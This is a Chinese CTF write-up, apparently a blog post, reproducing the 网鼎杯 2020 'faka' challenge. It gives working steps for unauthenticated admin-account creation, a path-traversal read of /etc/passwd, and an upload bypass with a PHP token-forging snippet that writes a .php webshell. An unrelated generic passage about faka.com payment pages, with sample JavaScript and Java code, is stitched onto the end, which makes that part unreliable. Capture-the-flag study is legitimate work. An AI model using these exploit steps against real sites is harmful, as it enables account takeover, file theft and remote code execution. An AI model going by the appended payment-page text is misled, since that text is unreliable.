[网鼎杯 2020 半决赛]faka

网鼎杯faka加强版:漏洞复现与权限提升
本文详细讲述了如何复现网鼎杯中的faka题目,涉及未授权添加账号、权限提升以及文件读写漏洞的利用过程,包括任意文件读取和文件上传技巧。

前言

同样是nepctf,遇到了网鼎杯这题faka的加强版,考虑到实在太菜了,没参加过今年的网鼎杯,所以先去把网鼎杯的faka这题复现一下,源码可以很容易从网上找到。

WP

拿seay审了一下,基本上啥都没审出来啥,就审出来了一个最简单的那个任意读。不过这个任意读还需要登录,因此还需要利用其他的漏洞。

未授权添加账号和提升权限

漏洞代码位于application/admin/controller/Index.php中的info方法:
在这里插入图片描述

    public function info()
    {
        if (intval($this->request->request('id')) === intval(session('user.id'))) {
            return $this->_form('SystemUser', 'user/form');
        }
        $this->error('只能修改当前用户的资料!');
    }

默认session都没有,因此后面为空,get和post不传id的话,$this->request->request('id')也为空,所以可以进入if,跟进_form


/**
 * 表单默认操作
 * @param Query $dbQuery 数据库查询对象
 * @param string $tplFile 显示模板名字
 * @param string $pkField 更新主键规则
 * @param array $where 查询规则
 * @param array $extendData 扩展数据
 * @return array|string
 */
protected function _form($dbQuery = null, $tplFile = '', $pkField = '', $where = [], $extendData = [])
{
    $db = is_null($dbQuery) ? Db::name($this->table) : (is_string($dbQuery) ? Db::name($dbQuery) : $dbQuery);
    $pk = empty($pkField) ? ($db->getPk() ? $db->getPk() : 'id') : $pkField;
    $pkValue = $this->request->request($pk, isset($where[$pk]) ? $where[$pk] : (isset($extendData[$pk]) ? $extendData[$pk] : null));
    // 非POST请求, 获取数据并显示表单页面
    if (!$this->request->isPost()) {
        $vo = ($pkValue !== null) ? array_merge((array)$db->where($pk, $pkValue)->where($where)->find(), $extendData) : $extendData;
        if (false !== $this->_callback('_form_filter', $vo)) {
            empty($this->title) || $this->assign('title', $this->title);
            return $this->fetch($tplFile, ['vo' => $vo]);
        }
        return $vo;
    }
    // POST请求, 数据自动存库
    $data = array_merge($this->request->post(), $extendData);
    if(isset($data['password'])){
        if( !empty($data['password'])) {
            $data['password'] = md5($data['password']);
        }else{
            unset($data['password']);
        }
    }
    if (false !== $this->_callback('_form_filter', $data)) {
        $result = DataService::save($db, $data, $pk, $where);
        if (false !== $this->_callback('_form_result', $result)) {
            if ($result !== false) {
                $this->success('恭喜, 数据保存成功!', '');
            }
            $this->error('数据保存失败, 请稍候再试!');
        }
    }
}

跟进下面的post处理,把post参数给$data,然后把password给md5,再对$data调用_form_filter这个回调方法:

    /**
     * 表单数据默认处理
     * @param array $data
     */
    public function _form_filter(&$data)
    {
        if ($this->request->isPost()) {
            if (isset($data['authorize']) && is_array($data['authorize'])) {
                $data['authorize'] = join(',', $data['authorize']);
            }
            if (isset($data['id'])) {
                unset($data['username']);
            } elseif (Db::name($this->table)->where(['username' => $data['username']])->count() > 0) {
                $this->error('用户账号已经存在,请使用其它账号!');
            }
        } else {
            $data['authorize'] = explode(',', isset($data['authorize']) ? $data['authorize'] : '');
            $this->assign('authorizes', Db::name('SystemAuth')->where(['status' => '1'])->select());
        }
    }

$data进行简单的处理,基本无影响。但是注意一下这个$data[‘authorize’],是权限的控制,如果正常这样添加账号的话,权限还是很低,很多功能用不了,所以post还需要加上authorize=3,因为数据表中admin就是3。
_form_filter方法出来后,就会执行$result = DataService::save($db, $data, $pk, $where);,讲data保存进数据库中,成功未授权添加账号:

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

任意文件读取

漏洞代码位于/application/manage/controller/Backup.php的downloadBak方法:

function downloadBak() {
    $file_name = $_GET['file'];
    $file_dir = $this->config['path'];
    if (!file_exists($file_dir . "/" . $file_name)) { //检查文件是否存在
        return false;
        exit;
    } else {
        $file = fopen($file_dir . "/" . $file_name, "r"); // 打开文件
        // 输入文件标签
        header('Content-Encoding: none');
        header("Content-type: application/octet-stream");
        header("Accept-Ranges: bytes");
        header("Accept-Length: " . filesize($file_dir . "/" . $file_name));
        header('Content-Transfer-Encoding: binary');
        header("Content-Disposition: attachment; filename=" . $file_name);  //以真实文件名提供给浏览器下载
        header('Pragma: no-cache');
        header('Expires: 0');
        //输出文件内容
        echo fread($file, filesize($file_dir . "/" . $file_name));
        fclose($file);
        exit;
    }
}

读取的文件的后半部分可控,即$_GET['file']可控,可以任意下载文件:

http://0c3a24d3-6960-480b-9d60-f986cd495e16.node3.buuoj.cn/manage/backup/downloadbak?file=../../../../../../../../../../etc/passwd

但是buu环境上并没有/flag,因此还需要利用接下来的文件上传漏洞。(其实也可以猜到,是/flag.txt)

文件上传

也算是一种审计的正常思路了,拿到了后台,发现存在文件上传的点:
在这里插入图片描述

正常上传发现传不了,因此看一下文件上传的代码。代码位于application/admin/controller/Plugs.php的upload方法:

/**
 * 通用文件上传
 * @return \think\response\Json
 */
public function upload()
{
    $file = $this->request->file('file');
    $ext = strtolower(pathinfo($file->getInfo('name'), 4));
    $md5 = str_split($this->request->post('md5'), 16);
    $filename = join('/', $md5) . ".{$ext}";
    if (strtolower($ext) == 'php' || !in_array($ext, explode(',', strtolower(sysconf('storage_local_exts'))))) {
        return json(['code' => 'ERROR', 'msg' => '文件上传类型受限']);
    }
    // 文件上传Token验证
    if ($this->request->post('token') !== md5($filename . session_id())) {
        return json(['code' => 'ERROR', 'msg' => '文件上传验证失败']);
    }
    // 文件上传处理
    if (($info = $file->move('static' . DS . 'upload' . DS . $md5[0], $md5[1], true))) {
        if (($site_url = FileService::getFileUrl($filename, 'local'))) {
            return json(['data' => ['site_url' => $site_url], 'code' => 'SUCCESS', 'msg' => '文件上传成功']);
        }
    }
    return json(['code' => 'ERROR', 'msg' => '文件上传失败']);
}

他写了一个file类用来处理上传的文件,注意这个$md5 = str_split($this->request->post('md5'), 16);filename是这样拼接而来的:$filename = join('/', $md5) . ".{$ext}";,然后检测后缀,不能是php,或者不是storage_local_exts里面的,这个是可以通过管理面板改配置来控制的。
接下来是token的验证:

        // 文件上传Token验证
        if ($this->request->post('token') !== md5($filename . session_id())) {
            return json(['code' => 'ERROR', 'msg' => '文件上传验证失败']);
        }

默认session_id()是空,所以这里的token也很容易构造出来。
接下来就是进入move()函数:

$file->move('static' . DS . 'upload' . DS . $md5[0], $md5[1], true)
    /**
     * 移动文件
     * @access public
     * @param  string      $path     保存路径
     * @param  string|bool $savename 保存的文件名 默认自动生成
     * @param  boolean     $replace  同名文件是否覆盖
     * @return false|File
     */
    public function move($path, $savename = true, $replace = true)
    {
        // 文件上传失败,捕获错误代码
        if (!empty($this->info['error'])) {
            $this->error($this->info['error']);
            return false;
        }

        // 检测合法性
        if (!$this->isValid()) {
            $this->error = 'upload illegal files';
            return false;
        }

        // 验证上传
        if (!$this->check()) {
            return false;
        }

        $path = rtrim($path, DS) . DS;
        // 文件保存命名规则
        $saveName = $this->buildSaveName($savename);
        $filename = $path . $saveName;

        // 检测目录
        if (false === $this->checkPath(dirname($filename))) {
            return false;
        }

        // 不覆盖同名文件
        if (!$replace && is_file($filename)) {
            $this->error = ['has the same filename: {:filename}', ['filename' => $filename]];
            return false;
        }

        /* 移动文件 */
        if ($this->isTest) {
            rename($this->filename, $filename);
        } elseif (!move_uploaded_file($this->filename, $filename)) {
            $this->error = 'upload write error';
            return false;
        }

        // 返回 File 对象实例
        $file = new self($filename);
        $file->setSaveName($saveName)->setUploadInfo($this->info);

        return $file;
    }

前面是一些检测,在check()函数中有是否是图片的检测,利用图片头绕过即可。
之后注意这里:

        $path = rtrim($path, DS) . DS;
        // 文件保存命名规则
        $saveName = $this->buildSaveName($savename);
        $filename = $path . $saveName;

$savename$md5[1],跟进$this->buildSaveName函数:

    /**
     * 获取保存文件名
     * @access protected
     * @param  string|bool $savename 保存的文件名 默认自动生成
     * @return string
     */
    protected function buildSaveName($savename)
    {
        // 自动生成文件名
        if (true === $savename) {
            if ($this->rule instanceof \Closure) {
                $savename = call_user_func_array($this->rule, [$this]);
            } else {
                switch ($this->rule) {
                    case 'date':
                        $savename = date('Ymd') . DS . md5(microtime(true));
                        break;
                    default:
                        if (in_array($this->rule, hash_algos())) {
                            $hash     = $this->hash($this->rule);
                            $savename = substr($hash, 0, 2) . DS . substr($hash, 2);
                        } elseif (is_callable($this->rule)) {
                            $savename = call_user_func($this->rule);
                        } else {
                            $savename = date('Ymd') . DS . md5(microtime(true));
                        }
                }
            }
        } elseif ('' === $savename || false === $savename) {
            $savename = $this->getInfo('name');
        }

        if (!strpos($savename, '.')) {
            $savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);
        }

        return $savename;
    }

这些代码起作用:

        if (!strpos($savename, '.')) {
            $savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);
        }

        return $savename;

最终相当于写入的文件是static/upload/$md5[0]/$md5[1].$ext
因此php文件写不了,虽然可写入的其他后缀可控,但是没法写入.htaccess之类的,因此也解析不了,正常是没法写马的,我把这些代码看了一遍后也是这么想的,所以我还是太菜了。

仔细想想,还是这里:

        if (!strpos($savename, '.')) {
            $savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);
        }

        return $savename;

如果$md5[1]里面有后缀呢?就相当于直接return $savename了,最后相当于是这里:

static/upload/$md5[0]/$md5[1]

因此可以考虑把php后缀写到$md5[1]里面,想办法构造一下:

<?php
$md5="73058d518344b513098c51845768.php";
$md5=str_split($md5,16);
$ext="png";
$filename = join('/', $md5) . ".{$ext}";
echo md5($filename);

至少.php必须在16-32长度之间,生成一下token,是1d3eb018ca985d5fb7668cc8112f2cd3,md5是73058d518344b513098c51845768.php,传入文件的后缀是png,然后上传:
在这里插入图片描述
虽然说文件上传失败,但其实还是成功了的:
在这里插入图片描述

### 三级标题:faka.com 支付订单页面的功能与使用 在 faka.com 的支付订单页面中,用户可以完成从商品选择到支付的完整交易流程。此页面通常包含商品信息展示、订单创建、支付方式选择以及支付提交等功能。以下是对支付订单页面功能的详细解析: 在用户选择商品并提交订单后,系统会生成一个唯一的交易编号(trade_no),同时计算出所需支付金额(need)。页面会根据用户的支付偏好展示不同的支付方式,例如支付宝(pay_alipay)、微信支付(pay_wxpay)、QQ钱包(pay_qqpay)以及财付通(pay_tenpay)等。对于已登录用户,系统还会显示用户当前账户余额(user_rmb),以便用户选择是否使用余额支付[^4]。 支付订单页面的前端实现通常依赖于 API 接口获取支付方式信息,并通过动态渲染的方式展示支付按钮。例如,使用 JavaScript 或 jQuery 发起异步请求来获取支付方式配置,并根据返回结果动态生成支付按钮: ```javascript fetch('/api/payment-methods') .then(response => response.json()) .then(data => { const paymentMethodsContainer = document.getElementById('payment-methods'); data.forEach(method => { const button = document.createElement('button'); button.textContent = `Pay with ${method.name}`; button.onclick = () => redirectToPayment(method.url); paymentMethodsContainer.appendChild(button); }); }) .catch(error => console.error('Error fetching payment methods:', error)); ``` 后端则负责验证订单信息、生成支付请求,并将用户重定向至相应的支付关。例如,使用 Java Servlet 处理订单创建和支付逻辑: ```java @WebServlet("/create-order") public class CreateOrderServlet extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String productId = request.getParameter("productId"); int quantity = Integer.parseInt(request.getParameter("quantity")); int userId = (int) request.getSession().getAttribute("userId"); // 验证库存、用户信息等 // ... // 创建订单 Order order = orderService.createOrder(userId, productId, quantity); // 返回订单信息 response.setContentType("application/json"); response.getWriter().write("{\"trade_no\":\"" + order.getTradeNo() + "\",\"need\":\"" + order.getAmount() + "\"}"); } } ``` 此外,faka.com 还支持多种支付方式的集成,包括但不限于支付宝、微信支付等第三方支付关,这使得用户可以根据自己的偏好选择最便捷的支付手段。系统通过插件化设计支持这些支付方式的对接,使得支付流程更加灵活和可扩展。[^2] ### 三级标题:支付订单页面的优化与用户体验 为了提升用户体验,faka.com 的支付订单页面在多个方面进行了优化。例如,在 V2.0.8 版本中更新了 faka2 模板手机端,修复了不显示支付方式的问题,确保移动端用户也能顺畅地完成支付流程。[^3] 在商品展示方面,faka.com 提供了清晰的商品列表展示功能,并允许用户通过搜索功能快速定位所需商品。这一功能在 V6.7 版本中得到了进一步增强,增加了商品搜索功能,提高了用户查找商品的效率。[^2] ### 三级标题:支付订单的安全性与准确性 支付订单页面的安全性和准确性至关重要。为此,faka.com 在订单创建阶段就进行了严格的验证,包括验证用户身份、商品库存状态等。一旦订单被创建,系统会立即锁定相应库存,防止超卖情况的发生。 在支付过程中,系统会将用户重定向至所选支付方式的关页面完成支付操作。支付完成后,用户会被重新定向回 faka.com 的订单状态页面,查看支付结果。整个过程确保了交易的安全性,并提供了清晰的支付确认信息。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值